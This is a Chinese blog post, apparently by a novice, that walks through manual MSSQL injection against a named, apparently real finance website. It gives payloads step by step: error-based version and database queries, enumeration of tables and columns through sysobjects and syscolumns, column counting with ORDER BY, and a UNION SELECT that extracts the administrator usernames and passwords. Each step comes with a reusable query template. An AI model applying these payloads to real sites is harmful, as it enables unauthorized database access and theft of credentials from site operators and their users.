创利投金服 手工学习

 

 新手mssql注入全过程(不要问我原理!)

注入点:http://www.chuanglitou.com/Invitation/MD2UEDP7' .html

 

很明显的注入,最开始第一反应丢入sqlmap(省时省力)

手工注入

0x1:

http://www.chuanglitou.com/Invitation/MD2UEDP7' and 1=(select @@VERSION)--.html

and 1=(select @@VERSION) 查询数据库版本

数据库:Mssql2008

0x2:

查当前库

http://www.chuanglitou.com/Invitation/MD2UEDP7' And 1=(select db_name())--.html

 And 1=(select db_name())-- 

当前库名(Newdata)

还有种方法:

http://www.chuanglitou.com/Invitation/MD2UEDP7' and db_name(1)=0 --.html

 

 

语句: and db_name(1)=0 -- 括号一直到7就返回正常了 说明了 只有6个表 分别是:

master
tempdb
model
msdb
ReportServer
ReportServerTempDB

可以看见没有当前的那个数据库Newdata(具体什么我也不懂)

改正:可以看见Newdata 不过要到14的个才是

语句: and db_name(14)=0 -- 

 

0x3:

查询表

http://www.chuanglitou.com/Invitation/MD2UEDP7' and (select top 1 name from (select top 1 name from sysobjects where
xtype=0x75 order by name) t order by name desc)=0--.html

对比

 

语句:and (select top 1 name from (select top 1 name from sysobjects where 
xtype=0x75 order by name) t order by name desc)=0-- (不知道为啥只能爆一个表)

后面又在网上找到了一个语句

http://www.chuanglitou.com/Invitation/MD2UEDP7' and 1=(select quotename(name) from Newdata..sysobjects where xtype='U'
FOR XML PATH(''))-- .html

语句:and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--

全部表就这样出现在了眼前

并且猜测管理员表

1.hx_Channel_AdminUser   2.hx_td_adminuser

0x4:

爆列

http://www.chuanglitou.com/Invitation/MD2UEDP7' and 1=(select quotename(name) from Newdata..syscolumns where id =(select id from Newdata..sysobjects where name='hx_Channel_AdminUser') FOR XML PATH(''))-- .html

 

语句:and 1=(select quotename(name) from 当前数据库..syscolumns where id =(select id from 当前数据库..sysobjects where name='你要查的表名') FOR XML PATH(''))--

所以字段名:

[AdminUserID][AdminUserName][AdminUserPassword][TrueName][CreateTime][Status]

0x5:

获取内容

由于这个网站过滤了*<>这些有很多语句不能使用 使用union 查询

www.chuanglitou.com/Invitation/MD2UEDP7' order by 1 .html(正常)

www.chuanglitou.com/Invitation/MD2UEDP7' order by 2.html(正常)

www.chuanglitou.com/Invitation/MD2UEDP7' order by 3.html(报错)

当前字段数目为2

查询 AdminUserName字段内容

http://www.chuanglitou.com/Invitation/MD2UEDP7' and 1=2 union all select (select top 1 AdminUserName from hx_Channel_AdminUser),2 from sysobjects --.html

 语句:' and 1=2 union all select (select top 1 字段名 from 表名),2 from sysobjects --

 

查询AdminUserPassword 字段内容:

http://www.chuanglitou.com/Invitation/MD2UEDP7' and 1=2 union all select (select top 1 AdminUserPassword fromhx_Channel_AdminUser),2 from sysobjects--.html

 

 

 

 

 

 

百度了下手法:http://www.myhack58.com/Article/html/3/8/2015/63146.htm(可以看看差不多)

 

posted @ 2016-12-13 16:48  archie’s  阅读(281)  评论(0)    收藏  举报